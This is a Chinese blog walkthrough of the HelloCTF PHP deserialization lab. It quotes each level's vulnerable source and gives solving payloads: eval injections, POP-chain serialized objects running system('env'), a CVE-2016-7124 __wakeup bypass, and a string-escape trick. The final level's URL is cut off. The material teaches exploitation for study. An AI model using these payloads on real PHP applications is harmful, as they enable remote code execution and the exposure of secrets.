HELLOCTF反序列化靶场全解

news2025/2/7 8:34:14

level 2

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 --- 

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

error_reporting(0);

 $flag_string = "NSSCTF{????}";

 class FLAG{
        public $free_flag = "???";

        function get_free_flag(){
            echo $this->free_flag;
        }
    }
$target = new FLAG();

$code = $_POST['code'];

if(isset($code)){
       eval($code);
       $target->get_free_flag();
}
else{
    highlight_file('source');
}

从上往下 可控点位于$code = $_POST['code'];flag位于$flag_string根据代码可以修改class中的$free_flag值为$flag_string

code=$target->$free_flag = $flag_string;

level3

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 --- 

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    public $public_flag = "NSSCTF{?";
    protected $protected_flag = "?";
    private $private_flag = "?}";

    function get_protected_flag(){
        return $this->protected_flag;
    }

    function get_private_flag(){
        return $this->private_flag;
    }
}

class SubFLAG extends FLAG{
    function show_protected_flag(){
        return $this->protected_flag;
    }

    function show_private_flag(){
        return $this->private_flag;
    }
}

$target = new FLAG();
$sub_target = new SubFLAG();


$code = $_POST['code'];

if(isset($code)){
    eval($code);
} else {
    highlight_file(__FILE__);
    echo "Trying to get FLAG...<br>";
    echo "Public Flag: ".$target->public_flag."<br>";
    echo "Protected Flag:".$target->protected_flag ."<br>";
    echo "Private Flag:".$target->private_flag ."<br>";
}

?>

关键点位于

public $public_flag = "NSSCTF{?";
    protected $protected_flag = "?";
    private $private_flag = "?}";
    class SubFLAG extends FLAG

其中用到了三个修饰符public protected private分别代表

  • public(公有): 公有的类成员可以在任何地方被访问。
  • protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)
  • private(私有): 私有的类成员则只能被其定义所在的类访问。(不可继承)

效果就是当我们尝试通过继承类访问private成员变量时候是无法访问的

而protected是可以访问的

code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

level4

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 4 : 序列化 --- 

HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG3{
    private $flag3_object_array = array("?","?");
}

class FLAG{
     private $flag1_string = "?";
     private $flag2_number = '?';
     private $flag3_object;

    function __construct() {
        $this->flag3_object = new FLAG3();
    }
}

$flag_is_here = new FLAG();


$code = $_POST['code'];

if(isset($code)){
    eval($code);
} else {
    highlight_file(__FILE__);
}

观察代码,在输入之前就已经完成了对象的创建$flag_is_here = new FLAG();观察所创建对象都是私有类型,其中`__construct()创建了FLAG3()的对象,但其中也是私有量

解题可以通过序列化后将所有数据带出来

echo serialize($flag_is_here);
O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}
NSSCTF{ser4l1ze2se3me}

level5

考察常规值的序列化了解

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 --- 

HINT:各有千秋~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class a_class{
    public $a_value = "NSSCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "NSSCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;

See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:6:"NSSCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:6:"NSSCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;
Now your turn!
<?php

$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);

if(
    $your_boolean && 
    $your_NULL == null &&
    $your_string == "IWANT" &&
    $your_number == 1 &&
    $your_object->a_value == "FLAG" &&
    $your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
    echo $flag;
}
else{
    echo "You really know how to serialize?";
}


You really know how to serialize?

注意到下面的if判断,内容通过反序列化函数输入

不仅class,普通数值也可进行序列化

<?php
class a_class{
    public $a_value = "FLAG";
}
$a_object = new a_class();
$a_array= array("a"=>"Plz","b"=>"Give_M3");
$a_string = "IWANT";
$a_number = 1;
$a_boolean = true;
$a_null = null;

//echo serialize($a_object);
//echo serialize($a_array);
//echo serialize($a_string);
//echo serialize($a_number);
//echo serialize($a_boolean);
//echo serialize($a_null);

$exp = "o=".serialize($a_object)."&a=".serialize($a_array)."&s=".serialize($a_string)."&i=".serialize($a_number)."&b=".serialize($a_boolean)."&n=".serialize($a_null);
echo $exp;
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;

level 6

考察权限修饰的序列化表现

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 6 : 序列化规则_权限修饰 --- 

HINT:各有千秋~特别注意的权限修饰符x

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class protectedKEY{
    protected $protected_key;

    function get_key(){
        return $this->protected_key;
    }
}

class privateKEY{
    private $private_key;

    function get_key(){
        return $this->private_key;
    }

}
$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);

if(isset($protected_key)&&isset($private_key)){
    if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
        echo $flag;
    } else {
        echo "We Call it %00_Contr0l_Characters_NULL!";
    }
} else {
    highlight_file(__FILE__);
}

不难看出来来需要通过传入序列化参数 触发if判断,一个是私有参数一个是保护参数,他们的序列化内容都会有不可见字符,所以需要对他们进行urlencode来完成防止字符丢失

<?php

class protectedKEY{
    protected $protected_key="protected_key";

    function get_key(){
        return $this->protected_key;
    }
}

class privateKEY{
    private $private_key="private_key";

    function get_key(){
        return $this->private_key;
    }

}

$x = new protectedKEY();
$y = new privateKEY();
echo "protected_key=".urlencode(serialize($x))."&private_key=".urlencode(serialize($y));

level7

基础反序列化漏洞

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 7 : 实例化和反序列化 --- 

HINT:可控的输入 简单的漏洞演示 / FLAG in flag.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    public $flag_command = "echo 'Hello CTF!<br>';";

    function backdoor(){
        eval($this->flag_command);
    }
}

$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';

$Instantiate_object = new FLAG(); // 实例化的对象

$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象

$Instantiate_object->backdoor();

$Unserialize_object->backdoor();

<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();

level 8

这里考察了构造函数 __construct()和 析构函数 __destruct()的使用

<?php

class RELFLAG {

    public function __construct()
    {
        global $flag;
        $flag = 0;
        $flag++;
        echo "Constructor called " . $flag . "<br>";
    }
    public function __destruct()
    {
        global $flag;
        $flag++;
        echo "Destructor called " . $flag . "<br>";
    }
}

function check(){
    global $flag;
    if($flag > 5){
        echo "HelloCTF{???}";
    }else{
        echo "Check Detected flag is ". $flag;
    }
}

if (isset($_POST['code'])) {
    eval($_POST['code']);
    check();
}

构造函数仅会在对象实例化的时候被调用——反序列化的创建过程则不会触发,也就是new的时候,解析函数则是会在对象被回收时候触发,例如手动回收的unset函数,或者自动回收

由此 可构建一个payload

unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

level 9

常规

<?php
/*
--- HelloCTF - 反序列化靶场 关卡 9 : 构造函数的后门 --- 

HINT:似曾相识

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG {
    var $flag_command = "echo 'HelloCTF';";
    public function __destruct()
    {
        eval ($this->flag_command);
    }
}

unserialize($_POST['o']);

不常规的是system函数无法使用,所以需要使用``来完成命令的执行,在php中反引号的功能就是类似shell_exec,将字符串作为命令执行后返回

由此可得payload

class FLAG {
    var $flag_command = "echo `env`;";
}

echo urlencode(serialize(new FLAG()));

level 10

第一个魔法函数__wakeup()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 10 : weakup! --- 

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
除开构造和析构函数,这应该是你第一个真正意义上开始接触的魔术方法,此后每一个魔术方法对应的题目我都会在这里介绍。
当然你也可以直接查阅PHP官网文档 - 魔术方法部分:https://www.php.net/manual/zh/language.oop5.magic.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

error_reporting(0);

class FLAG{
    function __wakeup() {
        include 'flag.php';
        echo $flag;
    }
}

if(isset($_POST['o']))
{
    unserialize($_POST['o']);
}else {
    highlight_file(__FILE__);
}
?>

其实题目已经说的非常清楚了__wakeup()作为一个魔术方法,他的作用是在反序列化前完成运行,那么只需要传入一个序列化内容就好,里面甚至不需要有东西

class FLAG{
    function __wakeup() {
        include 'flag.php';
        echo $flag;
    }
}

echo serialize(new FLAG());

level 11

老漏洞,但是在ctf还是会常出现

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! --- 

CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

error_reporting(0);

include 'flag.php';

class FLAG {
    public $flag = "FAKEFLAG";

    public function  __wakeup(){
        global $flag;
        $flag = NULL;
    }
    public function __destruct(){
        global $flag;
        if ($flag !== NULL) {
            echo $flag;
        }else
        {
            echo "sorry,flag is gone!";
        }
    }
}

if(isset($_POST['o']))
{
    unserialize($_POST['o']);
}else {
    highlight_file(__FILE__);
    phpinfo();
}

?>

不难注意到这里要获得flag需要$flag !== NULL但是在__wakeup()中设置了flag = NULL所以需要使用其他的方法

CVE-2016-7124的作用是,当序列化内容中对象属性的值大于真实属性值时便会跳过__wakeup的执行,那么我们只需要构造一个非标准序列化内容

O:4:"FLAG":1:{s:4:"flag";s:8:"fuckflag";} >> O:4:"FLAG":1:{s:4:"flag";s:9:"fuckflag";}

即可

level 12

真有意思

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 12 : sleep! ---

年轻就是好啊,倒头就睡。

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。
数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。
如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名
(也就是 "\0FLAG\0f" 的写法)。如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。
*/

class FLAG {

    private $f;       // 私有属性 f,只能在本类中访问
    private $l;       // 私有属性 l,只能在本类中访问
    protected $a;     // 受保护属性 a,本类和子类可访问
    public  $g;       // 公有属性 g,任何地方都可访问
    public $x,$y,$z;  // 公有属性 x、y、z

    // 魔术方法 __sleep() 会在调用 serialize($object) 前被自动执行
    public function __sleep() {
        // 只返回 x, y, z 这三个属性名
        // 序列化后,结果中只包含这三个属性的内容
        return ['x','y','z'];
    }
}

class CHALLENGE extends FLAG {

    // 子类定义了 8 个公有属性
    // 注意这里 $f 虽然同名,但和父类的 private $f 是不同的作用域
    public $h,$e,$l,$I,$o,$c,$t,$f;

    // 定义一个方法 chance(),返回 $_GET['chance'] 参数值
    function chance() {
        return $_GET['chance'];  // 若 URL 带 ?chance=xxx,则返回 xxx
    }

    // 子类重写了 (override) 父类的 __sleep()
    public function __sleep() {
        /*
           注释:FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g
           看起来是想暗示这些属性拼在一起就是“FLAG”。
        */

        // 这里定义了一个属性名数组
        $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];

        // array_rand($array_list) 从数组中随机返回一个键
        $_ = array_rand($array_list);
        $__ = array_rand($array_list);

        // 返回 3 个属性名:
        //  1) $array_list[$_]  -> 第一次随机选择的属性名
        //  2) $array_list[$__] -> 第二次随机选择的属性名
        //  3) $this->chance()  -> 从 $_GET['chance'] 来的字符串
        return array($array_list[$_], $array_list[$__], $this->chance());
    }

}

// 实例化 FLAG 类
$FLAG = new FLAG();

// 序列化 $FLAG 对象
// 因为 FLAG 类的 __sleep() 返回 [x,y,z]
// 最终只会序列化 x,y,z 这三个属性(且若没赋值,默认为 null)
echo serialize($FLAG);

// 序列化一个新的 CHALLENGE 对象
// 调用 CHALLENGE::__sleep(),会随机拿 array_list 中两个属性名,
// 再把 ?chance=xxx 里的 xxx 也当作一个属性名一起序列化
echo serialize(new CHALLENGE());

原题代码注解了下

这题主要演示的是__sleep()逐个魔术函数,在序列化内容的时候如果存在这个函数他就会先被调用

一样的做题先看可控点,可控点位于子类的chance()方法中,跟踪这个方法到了array($array_list[$_], $array_list[$__], $this->chance());而这个语句位于子类的__sleep()中下面的serialize(new CHALLENGE());之前他会先被执行,所以如果我们想拿到父类中的private属性,就可以使用%00FLAG%00f来传入,在序列化中其会被解读分析成父类的属性变量,在序列化内容中显示

为什么会显示:因为sleep必须返回数组,而数组中的属性名将决定哪些变量将被序列化

O:9:"CHALLENGE":3:{s:1:"f";s:3:"t0_";s:1:"l";s:17:"__sleep_function_";s:7:"FLAGf";s:6:"clean_";}

所以,我们即可以通过控制序列化内容的方式获取我们需要的内容

NSSCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

level 13

toString()

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 13 __toString()  --- 

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG {
    function __toString() {
        echo "I'm a string ~~~";
        include 'flag.php';
        return $flag;
    }
}

$obj = new FLAG();

if(isset($_POST['o'])) {
    eval($_POST['o']);
} else {
    highlight_file(__FILE__);
}

一般情况下echo无法直接输出一个对象,而通过toString()函数则可以实现

当尝试使用echo输出一个对象的时候,其会尝试检查对象是否定义了一个toString(),如果没有定义则直接返回一个错误

方法没有参数,也不传递参数,但该方法必须返回字符串

level 14

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 14 : __invoke() --- 

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class FLAG{
    function __invoke($x) {
        if ($x == 'get_flag') {
            include 'flag.php';
            echo $flag;
        }
    }
}

$obj = new FLAG();

if(isset($_POST['o'])) {
    eval($_POST['o']);
} else {
    highlight_file(__FILE__);
}

简单来说就是__invoke() 会在将一个对象当作一个方法来使用时会自动调用

payload:

o=echo $obj('get_flag');

Level15-POP链前置

代码

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 --- 

世界的本质其实就是套娃(x

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

/* FLAG in flag.php */

class A {
    public $a;
    public function __construct($a) {
        $this->a = $a;
    }
}
class B {
    public $b;
    public function __construct($b) {
        $this->b = $b;
    }
}
class C {
    public $c;
    public function __construct($c) {
        $this->c = $c;
    }
}

class D {
    public $d;
    public function __construct($d) {
        $this->d = $d;
    }
    public function __wakeUp() {
        $this->d->action();
    }
}

class destnation {
    var $cmd;
    public function __construct($cmd) {
        $this->cmd = $cmd;
    }
    public function action(){
        eval($this->cmd->a->b->c);
    }
}

if(isset($_POST['o'])) {
    unserialize($_POST['o']);
} else {
    highlight_file(__FILE__);
}

注意到终点的需求eval($this->cmd->a->b->c);cmd中的a中的b中的c需要是payload,又注意到action()函数的调用位于D类

那么可以得到payload

$C = new C("system('env');");
$B = new B($C);
$A = new A($B);
$destnation = new destnation($A);
$D = new d($destnation);

echo serialize($D);
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:14:"system('env');";}}}}}
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 16 : zePOP--- 

__wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。
__invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

试着把他们串起来吧ww

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class A {
    public $a;
    public function __invoke() {
            include $this->a;
            return $flag;
    }
}

class B {
    public $b;
    public function __toString() {
        $f = $this->b;
        return $f();
    }
}


class INIT {
    public $name;
    public function __wakeUp() {
        echo $this->name.' is awake!';
    }
}

if(isset($_POST['o'])) {
    unserialize($_POST['o']);
} else {
    highlight_file(__FILE__);
}

这题涉及了三个函数__wakeUp() __invoke() __toString()

先找终点 终点是class A 这里返回了flag,不难发现需要引入flag.php——且这里使用了invoke()函数,他的作用是当对象被作为函数调用时候的返回flag,满足这个逻辑的对象是B,那么只需要将A传入B再将B传入init即可

payload

class A {
    public $a = 'flag.php'; # 修改 使得include导入flag.php
    public function __invoke() { # 终点
        include $this->a;
        return $flag;
    }
}

class B {
    public $b;
    public function __toString() {
        $f = $this->b;
        return $f(); #返回了函数调用 让f指向class A
    }
}


class INIT {
    public $name;
    public function __wakeUp() { # 入口 方法用于反序列化时自动调用
        echo $this->name.' is awake!';
    }
}
$a = new A;
$b = new B;
$init = new INIT;
$b -> b = $a;
$init->name = $b;
echo serialize($init);
O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

level 17

无中生有

/*
--- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 --- 

序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

class A {

}
echo "Class A is NULL: '".serialize(new A())."'<br>";

class B {
    public $a = "Hello";
    protected $b = "CTF";
    private $c = "FLAG{TEST}";
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";

$serliseString = serialize(new B());

$serliseString = str_replace('B', 'A', $serliseString);

echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));

if(isset($_POST['o'])) {
    $a = unserialize($_POST['o']);
    if ($a instanceof A && $a->helloctfcmd == "get_flag") {
        include 'flag.php';
        echo $flag;
    } else {
        echo "what's rule?";
    }
} else {
    highlight_file(__FILE__);
}

极端情况下,在一个完全空白的序列化对象中,反序列化的字符串包含了内容,则反序列化后的对象则会包含这些属性

payload:

class A{
    public $helloctfcmd = "get_flag";
}

level 18

字符串逃逸2

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 --- 

序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date:   2024-07-01 20:30
# @Repo:   github.com/ProbiusOfficial/PHPSerialize-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

*/

highlight_file(__FILE__);

class Demo {
    public $a = "Hello";
    public $b = "CTF";
    public $key = 'GET_FLAG";}FAKE_FLAG';
}

class FLAG {

}

$serliseStringDemo = serialize(new Demo());

$target = $_GET['target'];
$change = $_GET['change'];

$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);

$FLAG = unserialize($serliseStringFLAG);

if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
    echo $flag;
}

这道题的关键点位于str_replace函数 我看可以控制Demo()反序列化后的结果,判断点的要求是令对象FLAG中的key等于GET_FLAG

'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'

反序列化的内容如上,需要做的就是替换掉Demo与GET_FLAG";}FAKE_FLAG,如此可以传入数组替换,将20替换为8压缩空间,将Demo替换为FLAG

http://node1.anna.nssctf.cn:28034/Level18/index.php?target[]=Demo&target[]=20&change[]=FLAG&change[

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2294199.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

禅道社区版项目管理软件部署(记录篇)

系统要求&#xff08;这里推荐使用docker容器化方式&#xff09;安装前的准备Docker快速安装最后通过查看地址验证是否部署成功开始界面化安装配置 禅道&#xff08;ZenTao&#xff09;是一款国产开源的项目管理软件&#xff0c;专注于敏捷开发流程&#xff0c;支持 Scrum 和 K…

【Redis】主从模式,哨兵,集群

主从复制 单点问题&#xff1a; 在分布式系统中&#xff0c;如果某个服务器程序&#xff0c;只有一个节点&#xff08;也就是一个物理服务器&#xff09;来部署这个服务器程序的话&#xff0c;那么可能会出现以下问题&#xff1a; 1.可用性问题&#xff1a;如果这个机器挂了…

DockerFile详细学习

目录 1.DockerFile介绍 2.DockerFile常用指令 3.指令详细讲解 4.实例 构建Node-Exporter 构建Alertmanager 构建Mariadb 1.DockerFile介绍 什么是 Dockerfile&#xff1f; Dockerfile 是一个文本文件&#xff0c;包含了构建 Docker 镜像的所有指令。 Dockerfile 是一…

寒假2.5

题解 web:[网鼎杯 2020 朱雀组]phpweb 打开网址&#xff0c;一直在刷新&#xff0c;并有一段警告 翻译一下 查看源码 每隔五秒钟将会提交一次form1&#xff0c;index.php用post方式提交了两个参数func和p&#xff0c;func的值为date&#xff0c;p的值为Y-m-d h:i:s a 执行fu…

中国销冠,比亚迪1月销量超30万台,出口量飙升83%

近日&#xff0c;比亚迪公布的 1 月销量数据成为了汽车行业热议的焦点&#xff0c;比亚迪凭借 300538 辆的销量成绩&#xff0c;进一步巩固了其在新能源汽车市场的统治力&#xff0c;再次稳坐中国品牌汽车市场销冠宝座。 在 1 月的销售数据中&#xff0c;比亚迪王朝丨海洋系列无…

大数据sql查询速度慢有哪些原因

1.索引问题 可能缺少索引&#xff0c;也有可能是索引不生效 2.连接数配置&#xff1a;连接数过少/连接池比较小 连接数过 3.sql本身有问题&#xff0c;响应比较慢&#xff0c;比如多表 4.缓存池大小 可能是缓存问题&#xff08;命中率>99%&#xff09; 5.加了锁 6. redis&a…

2 fastAPI请求参数

1. 路径参数 (Path Parameters) 路径参数是 URL 路径的一部分&#xff0c;通常用于标识资源的唯一性。路径参数在 FastAPI 中通过在路由装饰器中使用大括号 {} 来定义。 获取路径参数的方式 from fastapi import FastAPIapp FastAPI()app.get("/items/{item_id}"…

为何实现大语言模型的高效推理以及充分释放 AI 芯片的计算能力对于企业级落地应用来说,被认为具备显著的研究价值与重要意义?

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ AI 芯片&#xff1a;为人工智能而生的 “大脑” AI 芯片&#xff0c;又称人工智能加速器或计算卡&#xff0c;是专为加速人工智能应用&#xff0c;特别是深度学习任务设计的专用集成电路&#xff08;A…

C++11详解(二) -- 引用折叠和完美转发

文章目录 2. 右值引用和移动语义2.6 类型分类&#xff08;实践中没什么用&#xff09;2.7 引用折叠2.8 完美转发2.9 引用折叠和完美转发的实例 2. 右值引用和移动语义 2.6 类型分类&#xff08;实践中没什么用&#xff09; C11以后&#xff0c;进一步对类型进行了划分&#x…

AI 编程工具—Cursor 进阶篇 文章改写生成整理爬取

AI 编程工具—Cursor 进阶篇 文章改写生成整理爬取 其实对做自媒体的人而言,整理素材其实是一件非常耗时的事情,今天我们来看一下如何使用Cursor来帮我们解决这些问题,首先我们要建一个单独的项目,因为这个项目不涉及任何代码操作,只是文字相关的事情,还有就是这个项目需…

Yageo国巨的RC系列0402封装1%电阻库来了

工作使用Cadence多年&#xff0c;很多时候麻烦的就是整理BOM&#xff0c;因为设计原理图的时候图省事&#xff0c;可能只修改value值和封装。 但是厂家&#xff0c;规格型号&#xff0c;物料描述等属性需要在最后的时候一行一行的修改&#xff0c;繁琐又容易出错&#xff0c;过…

nginx伪静态配置解释和Nginx 常见的配置

文章目录 禁止访问 runtime 和 application 目录rewrite 对 URL 进行重写或重定向301重定向root 静态资源路径处理alias 路径映射try_files 伪静态规则Nginx 配置有许多其他常见的场景和使用方式 1. **基本的反向代理配置**2. **负载均衡配置**3. **限制访问&#xff08;IP 限…

AI安全最佳实践:AI云原生开发安全评估矩阵(下)

上篇小李哥带大家一起了解了什么是AI应用云原生开发安全评估矩阵&#xff0c;并且介绍了利用该矩阵如何确定我们云上AI应用的安全评估范围&#xff0c;接下来我们将继续本系列的下篇&#xff0c;基于该安全评估矩阵设计和实施我们系统应具备的安全控制。 优先考虑的安全控制 …

Windows DeepSeek API调用基础教程-Python

DeepSeek API 调用&#x1f680; 在最近DeepSeek大火之后&#xff0c;在各个媒体上都能看到对这个大模型的报道&#xff0c;这个使用MoE的架构的大模型&#xff0c;在使用体验上&#xff0c;确实让我眼前一亮&#xff0c;我自己平时也是已经在用着GPT-o1&#xff0c;对比下来发…

达梦数据库从单主模式转换为主备模式

目录标题 达梦数据库单主转主备配置笔记前期准备服务器环境数据库安装磁盘空间 流程流程图说明 详细步骤1. 检查主库归档模式2. 配置主库配置文件dm.ini 文件dmmal.ini 文件dmarch.ini 文件 3. 备份主库数据库4. 备库配置新建备库数据库配置备库配置文件dm.ini 文件复制主库的 …

SpringUI Web高端动态交互元件库

Axure Web高端动态交互元件库是一个专为Web设计与开发领域设计的高质量资源集合&#xff0c;旨在加速原型设计和开发流程。以下是关于这个元件库的详细介绍&#xff1a; 一、概述 Axure Web高端动态交互元件库是一个集成了多种预制、高质量交互组件的工具集合。这些组件经过精…

ES冷热数据分离配置

冷热数据是根据索引创建时间来进行迁移的。一旦迁移到冷数据节点&#xff0c;则无法再恢复成热数据&#xff0c;因为热数据节点中该索引已经没有分片存在了。 基于Docker搭建ES集群,并设置冷热数据节点 配置冷热数据迁移策略 PUT https://192.168.x.xx:19200/_ilm/policy/my…

七大排序思想

目录 七大排序的时间复杂度和稳定性 排序 插入排序 简单插入排序 希尔排序 选择排序 简单选择排序 堆排序 交换排序 冒泡排序 快速排序 快排的递归实现 hoare版本的快排 挖坑法的快排 双指针法的快排 快排的非递归 归并排序 归并的递归实现 归并的非递归实现…

制作PE启动盘(内含Win11 iso镜像)

前言 本文用于记录制作PE启动盘过程&#xff0c;学习记录用&#xff0c;如有不对请指出&#xff0c;谢谢&#xff01; 参考视频&#xff1a; 1. 微PE下载&#xff1a;https://www.bilibili.com/video/BV1vT4y1n7JX/?spm_id_from333.788.top_right_bar_window_history.conte…

css字体样式与文本样式详解

